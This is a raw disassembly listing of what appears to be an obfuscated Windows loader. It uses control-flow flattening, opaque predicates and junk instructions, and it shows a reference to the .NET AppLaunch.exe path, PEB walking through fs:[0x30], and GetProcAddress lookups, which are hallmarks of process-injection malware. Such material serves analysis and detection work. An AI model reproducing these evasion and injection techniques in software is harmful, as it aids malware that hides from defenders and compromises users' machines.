cmp eax, 0x46496dea
je 0x41109c
cmp eax, 0x466c6fb4
jne 0x401200
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8]
mov ecx, dword [0x48f784]
mov dword [ebp - 0x148], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x6118520
mov ecx, esi
and ecx, 0x80a04091
and esi, 0x71a19528
or edx, ecx
mov ecx, eax
xor ecx, 0x86b1c5b1
and ecx, eax
xor edx, 0x6118520
and eax, 0x8e5e6ad7
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xb4fd8eb4
and edx, 0x4b02714b
or ecx, edx
mov edx, ecx
xor ecx, 0x812b458
xor edx, 0x324c4b04
mov esi, edx
and esi, 0xc7ad42a3
and ecx, 0x3852bd5c
or ecx, esi
mov esi, eax
xor esi, 0x8522854
xor eax, 0x71a19528
or edx, eax
and eax, 0xc7ad42a3
and esi, 0x3852bd5c
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0xcffd15ad
xor edx, 0xffffffff
setne dl
sete al
cmp dword [0x48f780], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
or dl, ah
and ch, cl
and dh, al
xor al, ah
and al, ah
mov ah, dl
or dh, ch
xor al, 1
xor cl, dh
xor ah, al
or al, dl
and cl, dh
xor al, 1
or al, ah
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
mov ah, cl
xor dl, 1
xor ah, al
or dl, al
or al, cl
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4caaed3e
cmovne ecx, esi
test al, 1
mov eax, 0x4caaed3e
jmp 0x4011f2
cmp eax, 0xc97f4021
je 0x4110a6
cmp eax, 0xc9d9295a
jne 0x401200
mov eax, dword [ebp - 0x12c]
mov ecx, dword [0x48f784]
mov esi, 0x74d01e81
add eax, 0x18
mov dword [ebp - 0x1a8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x880d787
mov edx, eax
and edx, 0xd580
and ecx, eax
not eax
and eax, 0x8800207
or edx, eax
xor edx, 0xd580
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x95868697
and eax, 0x6a797968
or ecx, eax
mov eax, ecx
mov edx, ecx
xor ecx, 0x62f9aeee
xor eax, 0x9d065110
xor edx, 0x9d065111
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xcdfe3b50
and ecx, 0x3201c4af
or ecx, edx
xor ecx, 0xcdfe3b50
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x48f780], 0xa
mov ecx, eax
setge ah
setl dl
xor ah, al
and cl, ah
not ah
and ah, al
xor al, dl
and al, dl
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
or al, cl
xor cl, 1
xor dl, 1
xor al, 1
or dl, ah
xor ah, cl
or al, ah
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x65ab8d91
cmovne ecx, esi
test al, al
mov eax, 0x65ab8d91
jmp 0x4011f2
cmp eax, 0x2e96d61e
je 0x41118e
cmp eax, 0x2f30ca77
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x7bc73417
and ecx, 1
mov esi, edx
and edx, 0x8438cbe8
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x33350b63
mov edx, eax
xor edx, 0x7bc73417
xor eax, 0x8438cbe8
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete dl
cmp dword [0x48f780], 0xa
setl al
setge cl
mov ah, al
or al, dl
or cl, dl
xor ah, dl
xor al, 1
xor cl, 1
or al, ah
and ah, dl
or cl, ah
mov edx, eax
mov ah, cl
not dl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0x59478b08
or ah, cl
mov ecx, eax
xor cl, ah
test ah, 1
cmovne edx, esi
test al, al
mov eax, 0x59478b08
jmp 0x40ad6a
cmp eax, 0xa80c91f3
je 0x41119e
cmp eax, 0xa9f98f04
jne 0x401200
mov eax, dword [ebp - 0x194]
vmovups ymm1, ymmword [0x43f1b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x43f1d0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
add eax, 0xfffffff8
mov dword [ecx], eax
imul ebx
rcr edi, 0x1d
sbb esi, 0x39
not ebx
rol edi, 0x48
neg esi
inc edx
neg esi
sbb edx, 0x5c
bswap ebx
ror edi, 0x88
mov edi, 0x6f
or esi, 0xe4
not eax
mov eax, 0x2c
ror eax, 0xf6
bswap esi
bswap eax
inc eax
imul esi
or esi, 0x5b
imul edx
dec edx
mov esi, 0x99
inc eax
rcl edi, 0x5c
inc edi
bswap edx
or ebx, 0x92
ror esi, 0xa
add edi, 0xa9
not eax
neg edx
not edx
rol eax, 0x7d
dec eax
not ebx
bswap eax
imul eax
dec ebx
mov ebx, 0x4c
not edi
rcl eax, 0xd9
ror edi, 0xaf
dec edi
dec eax
sub eax, 0x7a
ror esi, 0x8f
dec ebx
rol edi, 0x4c
bswap ebx
inc esi
rol edi, 0x76
inc edi
ror ebx, 0xd7
dec ebx
dec edi
bswap eax
bswap esi
bswap edx
sbb eax, 0xb2
dec eax
dec eax
not edx
mov eax, 0xf3
neg ebx
neg eax
add ebx, 0x4a
not edx
not edi
dec edx
neg esi
rol edi, 0x65
sbb esi, 0x36
inc ebx
inc ebx
not ebx
and edi, 0x80
neg ebx
sub edi, 0x30
and eax, 0x90
dec esi
bswap edx
neg edi
imul edx
not edi
or edx, 0x74
dec edi
rcr edx, 0x33
mov esi, 0x9b
imul esi
or ebx, 0x45
bswap edi
rcr eax, 0x2d
rcl edi, 0x89
bswap ebx
imul eax
dec edi
rcl edx, 0xfe
dec edx
inc esi
not edi
ror edi, 0x58
bswap edx
neg esi
and edx, 0x37
mov edx, 0x8a
rcl edx, 0x14
and edx, 0x35
not eax
bswap esi
neg edx
bswap edi
neg edx
or edi, 0x5c
rol esi, 0x58
rcr esi, 0xf6
dec edx
not edi
ror edi, 0x5c
inc edx
or edi, 0x44
or edi, 0xca
not eax
not edi
bswap esi
imul edx
imul ebx
not edi
sbb eax, 0xa4
add esi, 0x1c
or edi, 0x74
or esi, 0xa9
rcl esi, 0x3b
inc esi
add edx, 0x3e
not edi
rol ebx, 0xe0
sbb eax, 0xff
ror edx, 0xcd
inc edi
mov ebx, 0x29
rol esi, 0xa
rcl edi, 0xfe
or ebx, 0x2c
sub ebx, 0x18
or edi, 0xcd
sbb edi, 0xbc
rcr edi, 0xbb
not ebx
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x6c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, 0x24
mov dword [ecx], eax
sbb edx, 0x94
and edx, 0xf5
not esi
inc eax
ror ebx, 0x5e
ror esi, 0x32
mov edi, 0x59
not ebx
sub ebx, 0x52
sub edi, 0x2b
rcl edx, 6
not edi
dec eax
sub edi, 0x92
inc edi
imul ebx
bswap ebx
mov eax, 0xa6
imul edi
add eax, 0x9e
sub edx, 0x8d
and edi, 0xfb
ror eax, 0xb6
rcl esi, 0x5e
inc ebx
neg edx
sbb ebx, 0x75
and edi, 0xf4
add edx, 0xab
bswap edx
inc ebx
bswap ebx
not eax
sbb ebx, 8
not edi
mov ebx, 0x75
neg edx
mov eax, 0x53
neg ebx
mov eax, 0x23
imul edx
and edi, 0xb4
inc esi
sub eax, 0x21
rcr esi, 0xfc
dec ebx
inc edi
sub esi, 0x5d
inc eax
imul edx
ror eax, 0x50
bswap edi
mov edi, 0xbc
dec edx
or ebx, 0xc6
imul ebx
rol ebx, 0x49
and edx, 0x59
neg esi
add esi, 0x9e
neg eax
imul esi
inc eax
not esi
not ebx
dec edx
not ebx
not ebx
sbb esi, 0x41
dec ebx
neg eax
add esi, 0x12
sbb ebx, 0x8e
imul edx
dec ebx
add eax, 0xe4
rcl edi, 0xba
sbb eax, 0x39
or edi, 0x8a
dec esi
mov esi, 0x63
not edx
inc edx
neg edi
not edi
not edi
neg edx
mov eax, 0xdb
and ebx, 0x1f
dec eax
not eax
imul edx
sbb edx, 0x86
bswap eax
rcr eax, 0x3b
neg ebx
imul edi
neg ebx
and eax, 0xe3
or ebx, 0xa0
bswap eax
not eax
rcl edx, 0x61
rol ebx, 0x54
neg edx
imul edi
or esi, 0x68
rcl esi, 0x5c
imul edi
or eax, 0xb6
rol eax, 0xb6
add eax, 0xbe
imul edi
neg edx
neg edi
not eax
add esi, 0xd7
or ebx, 0xba
add esi, 0xd
imul ebx
add eax, 0x2c
and ebx, 0x3c
and edi, 0x62
rcr edx, 0x86
bswap ebx
inc edx
not eax
inc ebx
add eax, 0xdb
bswap edi
rcr ebx, 0xa6
mov esi, 0xb6
inc eax
inc ebx
imul edi
inc edx
or edx, 0xfb
rol eax, 0xee
add esi, 0xf2
ror edi, 0xa7
bswap edx
dec esi
imul eax
bswap esi
sbb esi, 0x49
not esi
dec edi
imul eax
not ebx
rcr esi, 0xc3
mov edx, dword [ebp - 0x28]
mov dword [edx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x43f1e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x84]
setne byte [eax]
mov eax, dword [ebp - 0xd8]
mov eax, dword [ebp - 0x84]
mov eax, 0x9ee91b40
jmp 0x401200
cmp eax, 0x6c5289a3
je 0x4111cd
cmp eax, 0x6c53972b
jne 0x401200
mov eax, 0x55040a84
jmp 0x401200
cmp eax, 0xebe3824e
je 0x4112f8
cmp eax, 0xebe884cc
jne 0x401200
mov eax, 0x5b9c1ef6
jmp 0x401200
cmp eax, 0x237fdb93
je 0x411467
cmp eax, 0x250c8d64
jne 0x401200
cmp dword [ebp - 0x210], 0
mov eax, 0xa3088831
mov ecx, 0x70859fb3
cmove eax, ecx
jmp 0x401200
cmp eax, 0x978992cf
je 0x411471
cmp eax, 0x97d9ec61
jne 0x401200
mov eax, 0x59f7c174
jmp 0x401200
cmp eax, 0x58a0f8bc
je 0x4114a7
cmp eax, 0x59478b08
jne 0x401200
mov eax, dword [ebp - 0x178]
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0xdc]
add eax, dword [ebp - 0xdc]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
mov dword [eax], 0
mov eax, 0x33350b63
jmp 0x401200
cmp eax, 0xda9c6e7a
je 0x4115d2
cmp eax, 0xdbcee2a2
jne 0x401200
mov eax, dword [ebp - 0x16c]
mov eax, 0x32d1ad49
jmp 0x401200
cmp eax, 0x3c0b5410
je 0x4115e8
cmp eax, 0x3dcef2a4
jne 0x401200
mov eax, dword [ebp - 0x24]
mov eax, 0x2d24a612
jmp 0x401200
cmp eax, 0xbccb5e80
je 0x4116c1
cmp eax, 0xbcd8b9c4
jne 0x401200
mov eax, 0x82d23ad7
jmp 0x401200
cmp eax, 0x766f2af6
je 0x4116da
cmp eax, 0x7679cc4f
jne 0x401200
mov eax, 0xf6a64e78
jmp 0x401200
cmp eax, 0xfc962fcc
je 0x41173a
cmp eax, 0xfcadf4c4
jne 0x401200
cmp byte [ebp - 0xb2], 0
mov eax, 0x4e54a6b
mov ecx, 0x932a7ea1
cmovne eax, ecx
jmp 0x401200
cmp eax, 0x198d446b
je 0x411747
cmp eax, 0x1aac22cb
jne 0x401200
ror edx, 0xad
bswap ebx
dec edi
inc esi
ror eax, 0x43
sbb eax, 0x9b
sbb eax, 0xb8
sbb edi, 0x29
or esi, 0x2b
dec esi
rcr ebx, 0x29
imul ebx
add edi, 0x56
neg eax
rol ebx, 0xff
rcl ebx, 4
imul edx
rcr eax, 0x89
bswap esi
neg edx
bswap eax
add esi, 0xbd
dec edi
and ebx, 0x4b
rcr ebx, 0xe2
dec esi
add ebx, 0x3f
dec eax
inc edi
rol edi, 0x5f
inc edi
dec esi
dec edi
or ebx, 0xf5
sbb eax, 0x80
dec edx
not edi
add edx, 0x52
rol edi, 0xeb
dec edi
ror edi, 0x86
bswap eax
imul edx
rol ebx, 0xcb
dec edx
imul esi
rol edx, 0xb4
ror edx, 0xcb
add edi, 0x82
rol edx, 0xe4
dec edi
rol eax, 0x87
ror esi, 0x69
sbb eax, 0x5e
and eax, 0xac
not ebx
neg eax
and esi, 0x62
dec eax
sub edi, 0x37
sbb eax, 0x7d
add eax, 0x70
inc edx
mov eax, 0x7d
not edi
sbb eax, 0xf6
ror esi, 0x23
or esi, 0xf1
not edx
dec edx
neg eax
and ebx, 0xcc
not edi
mov esi, 0xe8
imul eax
rol eax, 0x99
or ebx, 0x57
not edx
imul ebx
imul edi
rcl edi, 0x34
sbb esi, 0xb
mov eax, 0xa0
neg ebx
inc eax
dec ebx
sub edi, 0xce
sbb eax, 0xa5
add edi, 0x6b
inc edi
imul edi
rcr esi, 0xf3
bswap esi
inc ebx
rol esi, 0x63
inc ebx
sbb eax, 0xe
rcr edx, 0x8e
ror edi, 0xa9
and esi, 0x2e
inc esi
not eax
not eax
add esi, 0xf9
mov esi, 0x20
or edx, 0x73
mov edi, 0xd8
bswap ebx
bswap ebx
not esi
and eax, 0xfd
add ebx, 0x60
not edx
sbb eax, 0x13
rcl ebx, 2
mov esi, 0x2a
not edi
neg edx
not eax
or edx, 0xb6
dec edx
bswap edx
not ebx
rol eax, 0xe0
add edx, 0x8f
sub ebx, 0x81
mov eax, 0xaa
imul eax
rol eax, 0x71
sub edx, 0xba
inc eax
add esi, 0xc8
ror edi, 0xd0
sbb esi, 0xdb
imul edx
and ebx, 0x5e
or edx, 0xb0
sub edx, 0x7d
inc edi
ror edi, 0x5d
imul edi
dec edi
neg eax
not esi
not edi
dec ebx
dec edi
or edi, 0xbc
add edi, 0xc0
bswap eax
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x98]
mov eax, 0xd8c21ec3
jmp 0x401200
cmp eax, 0x8e64b6b3
je 0x41176a
cmp eax, 0x8f1f0ce9
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xa768d0ff
not edx
mov esi, edx
and ecx, eax
and esi, 0xa768d0ff
and edx, 0x3d7eee6a
and eax, 0xc2811195
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xa768d0fe
and esi, 0x58972f01
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xc5971a7f
mov esi, edx
and esi, 0x3a68e580
or ecx, esi
mov esi, eax
xor esi, 0xc0811015
xor eax, 0x3868e400
and eax, 0x3a68e580
and esi, 0xc5971a7f
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x44eda378
setne al
sete dl
cmp dword [0x48f780], 0xa
setl ch
setge ah
and al, ch
and ah, dl
mov cl, ch
xor ch, dl
or al, ah
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ch
and al, dl
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or dl, cl
or al, ah
xor al, cl
mov ecx, edx
xor al, 1
xor cl, al
test dl, dl
mov edx, 0xc2f49924
cmovne edx, esi
test al, 1
mov eax, 0xc2f49924
jmp 0x40b731
cmp eax, 0x5023dfce
je 0x411774
cmp eax, 0x511b67b6
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x120100a1
mov ecx, edx
and ecx, 0x2c265c06
and edx, 0xc4cd6f89
or esi, ecx
mov ecx, eax
xor ecx, 0x3e275ca7
and ecx, eax
xor esi, 0x120100a1
and eax, 0x3b329076
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x3e275ca6
mov edx, eax
xor edx, 0x3b329076
xor eax, 0xc4cd6f89
and esi, 0xc1d8a359
or ecx, esi
mov esi, 0xf9247d6a
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x48f780], 0xa
mov edx, eax
setl cl
xor dl, cl
or cl, al
xor dl, 1
and al, dl
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0x19c111d
cmovne ecx, esi
test al, al
mov eax, 0x19c111d
jmp 0x41186b
cmp eax, 0xd0230814
je 0x41187a
cmp eax, 0xd033942c
jne 0x401200
mov eax, 0x8ff5d2a5
jmp 0x401200
cmp eax, 0x338b6960
je 0x411887
cmp eax, 0x3490d463
jne 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and esi, 0xfffffffe
and edx, 0x2228536c
and eax, 0xddd7ac93
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x22990645
mov esi, edx
and esi, 0xdd66f9ba
or ecx, esi
mov esi, eax
xor esi, 0x910401
xor eax, 0x205128
and eax, 0xdd66f9ba
and esi, 0x22990645
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x1ced8272
sete cl
setne ah
cmp dword [0x48f780], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
mov edx, eax
xor dl, 1
and ah, ch
mov ecx, edx
mov ch, dl
and cl, al
xor ch, cl
xor cl, 1
or cl, al
or al, ah
xor ah, 1
xor cl, 1
xor dl, ah
xor al, 1
or cl, ch
or al, dl
xor cl, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x9a81e65
cmovne edx, esi
test al, 1
mov eax, 0x9a81e65
jmp 0x410ba4
cmp eax, 0xb328759c
je 0x411891
cmp eax, 0xb35144b4
jne 0x401200
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x50]
add eax, 2
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov dword [ecx], eax
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
or edx, 0xa804012
mov esi, ecx
mov edi, ecx
or esi, 0x24210240
and edx, 0x2ea14252
and edi, 0x814cbd24
and ecx, 0xa00f873a
or edi, edx
mov edx, eax
and esi, 0x2ea14252
and edx, 0x50120089
and eax, 0x5ff078c5
or edx, esi
or eax, ecx
xor edx, edi
mov ecx, eax
xor ecx, 0x5ff078c5
xor eax, 0xa00f873a
mov esi, edx
not esi
and edx, 0xa56dbf65
and esi, 0x5a92409a
or edx, esi
mov esi, 0x7c385c17
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x48f780], 0xa
setge ch
setl cl
mov al, ch
and cl, dl
xor al, ah
and al, ah
and ah, ch
mov edx, eax
or cl, ah
mov ah, al
xor dl, 1
and dl, cl
xor cl, 1
xor ah, cl
and cl, al
or cl, dl
and ah, al
mov edx, 0xbd9fdc8f
mov al, cl
xor al, ah
test cl, cl
mov ecx, 0x7c385c17
cmovne ecx, edx
test ah, ah
cmove ecx, esi
test al, al
jmp 0x4122d7
cmp eax, 0x71ef96a7
je 0x4119b2
cmp eax, 0x72298f57
jne 0x401200
mov eax, 0x65587331
jmp 0x401200
cmp eax, 0xf3f5fe1f
je 0x411ae5
cmp eax, 0xf485f633
jne 0x401200
mov eax, 0x34b87ce0
jmp 0x401200
cmp eax, 0x28ff7aeb
je 0x411c49
cmp eax, 0x2906d8d6
jne 0x401200
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x64]
mov eax, 0xd7b8c871
jmp 0x401200
cmp eax, 0x9ee91b40
je 0x411c5c
cmp eax, 0x9fd5b08a
jne 0x401200
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ecx], eax
mov eax, 0x60063fb
jmp 0x401200
cmp eax, 0x606c5a62
je 0x41213a
cmp eax, 0x62db2633
jne 0x401200
mov eax, dword [0x48f784]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x70240e2d
mov eax, ecx
and eax, 0x60200605
and edx, ecx
not ecx
and ecx, 0x10040828
or eax, ecx
xor eax, 0x60200605
or eax, edx
not edx
and edx, 0x8fdbf1d2
and eax, 0x70240e2d
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xfad4464e
and eax, 0x5080022c
mov edx, ecx
and edx, 0x52bb9b1
or ecx, 0x1268092
or esi, edx
and ecx, 0xa92f81d3
mov edx, esi
xor esi, 0x1228090
xor edx, 0x2504400
or eax, ecx
or esi, 0xa8090141
and edx, 0x6507c00
and esi, 0xa92f81d3
or edx, esi
mov esi, 0x87393da8
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x6416a291
and ecx, 0x9be95d6e
or eax, ecx
mov ecx, eax
xor ecx, 0x3205c02
xor eax, 0x1c142064
and eax, 0x7c542265
and ecx, 0x83abdd9a
or ecx, eax
mov eax, ecx
xor eax, 0x388549a
xor ecx, 0x74540241
and ecx, 0xf4778b41
and eax, 0xb8874be
or eax, ecx
cmp eax, 0xb8874be
setne al
cmp dword [0x48f780], 0xa
mov edi, dword [ebp - 0x154]
mov edx, eax
setge cl
inc dl
mov ah, cl
and dl, cl
or cl, al
inc ah
and ah, al
or dl, ah
mov eax, 0x410b9d71
xor cl, dl
cmovne esi, eax
test cl, dl
mov eax, 0x87393da8
cmovne esi, eax
test cl, cl
cmovne eax, esi
test cl, dl
mov edx, dword [ebp - 0x150]
cmove eax, esi
cmp edx, dword [edi]
setne byte [ebp - 0xa8]
jmp 0x401200
cmp eax, 0xe38a3d2c
je 0x412159
cmp eax, 0xe3a1f4d8
jne 0x401200
mov eax, dword [ebp - 0x1dc]
add eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x174], eax
mov eax, 0x21aa513f
jmp 0x401200
cmp eax, 0x4284f7d9
je 0x412163
cmp eax, 0x42d02d90
jne 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x54]
mov eax, 0x51478733
jmp 0x401200
cmp eax, 0xc0f5c292
je 0x41217e
cmp eax, 0xc2f49924
jne 0x401200
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*8 + 8]
mov dword [ebp - 0x190], eax
mov eax, dword [0x48f784]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
mov ecx, edx
not eax
or ecx, 0x95ca59c1
mov edi, eax
mov esi, ecx
and esi, 0xa3023102
and edi, 0x4835863c
and eax, 0x3f1eac53
or edi, esi
mov esi, edx
xor esi, 0x6a35a63e
and esi, edx
and edx, 0xc0e153ac
mov ebx, esi
not ebx
and esi, 0x5cfdcefd
or eax, edx
or ecx, ebx
and ebx, 0xa3023102
or esi, ebx
not ecx
mov ebx, 0x74d687b2
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x2fecfc07
and esi, 0xd01303f8
or ecx, esi
mov esi, ecx
xor esi, 0x5180810
xor ecx, 0xba26a5c7
mov edi, ecx
and edi, 0xc0e153ac
and esi, 0x3f1eac53
or esi, edi
mov edi, 0x74d687b2
xor eax, esi
mov esi, 0x44eda378
xor ecx, eax
test ecx, eax
setne ah
sete al
cmp dword [0x48f780], 0xa
mov ch, ah
setl dl
setge cl
xor ch, dl
or dl, ah
or al, cl
mov dh, dl
xor ch, 1
xor dh, al
or al, dl
mov dl, cl
or cl, ah
xor dl, ah
xor cl, 1
xor al, 1
xor dl, 1
or cl, ch
or al, dh
mov ah, dl
or dl, cl
xor al, 1
xor ah, cl
xor dl, 1
mov ecx, eax
or dl, ah
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test cl, 1
cmovne eax, ebx
jmp 0x401200
cmp eax, 0x7eb32787
je 0x4122e1
cmp eax, 0x7eb9e2ff
jne 0x401200
mov eax, 0x74513194
jmp 0x401200
cmp eax, 0xffc733bc
jne 0x412818
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc0]
mov eax, 0x69de9d0c
jmp 0x401200
mov eax, dword [ebp - 0x38]
mov dword [eax], 0xd
mov eax, 0xefce147d
jmp 0x401200
mov ecx, dword [ebp - 0x104]
mov ebx, 0xda9c6e7a
mov edi, 0xda9c6e7a
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x809b66bc
mov edx, esi
and edx, 0x5f649943
and esi, 0x8a933bcb
or edx, eax
mov eax, ecx
or eax, 0x809b66bc
and ecx, 0x756cc434
and eax, 0xa09b66bc
or ecx, esi
xor eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0x2b7e3cee
and edx, 0xd481c311
or edx, esi
mov esi, ecx
xor esi, 0x5400c010
xor ecx, 0x8a933bcb
or eax, ecx
and ecx, 0x2b7e3cee
and esi, 0xd481c311
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
and eax, 0x89ac0b4f
and ecx, 0x7653f4b0
or eax, ecx
mov ecx, dword [0x48f784]
cmp eax, 0x89ac0b4f
setne byte [ebp - 0xaf]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0xf71b630a
mov esi, edx
and esi, 0xfffffffe
and edx, 0x8e49cf5
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x7ac430c1
mov esi, edx
and esi, 0x853bcf3e
or ecx, esi
mov esi, eax
xor esi, 0x72002000
xor eax, 0x208c34
and eax, 0x853bcf3e
and esi, 0x7ac430c1
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x22503721
setne dl
sete ah
cmp dword [0x48f780], 0xa
setl al
setge ch
mov cl, al
or al, ah
and ah, ch
xor ch, dl
and cl, dl
xor al, 1
or cl, ah
or al, ch
xor cl, 1
mov edx, ecx
xor cl, al
or dl, al
mov eax, ecx
xor al, dl
test cl, cl
cmovne ebx, esi
test dl, dl
cmovne ebx, edi
test al, al
cmove ebx, esi
mov eax, ebx
jmp 0x401200
mov eax, 0xa4d0cb53
jmp 0x401200
mov ecx, dword [0x48f784]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov esi, eax
xor esi, 0xf2fab895
not ecx
mov edx, ecx
and esi, eax
and edx, 0xf2fab895
or eax, 1
and ecx, 0xe5443646
or edx, esi
and eax, 0x1abbc9b9
mov esi, edx
not esi
or eax, ecx
and edx, 0xd05476b
and esi, 0xf2fab894
xor eax, 0x1abbc9b9
or edx, esi
mov esi, 0x72f06563
or eax, edx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xead8e09c
andn eax, eax, eax
and edx, 0x15271f63
or ecx, edx
xor ecx, 0xead8e09c
or eax, ecx
setne ah
sete ch
cmp dword [0x48f780], 0xa
setl dl
setge al
and ah, dl
and al, ch
mov cl, dl
or dl, ch
or al, ah
mov ah, dl
xor cl, ch
xor al, 1
and cl, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
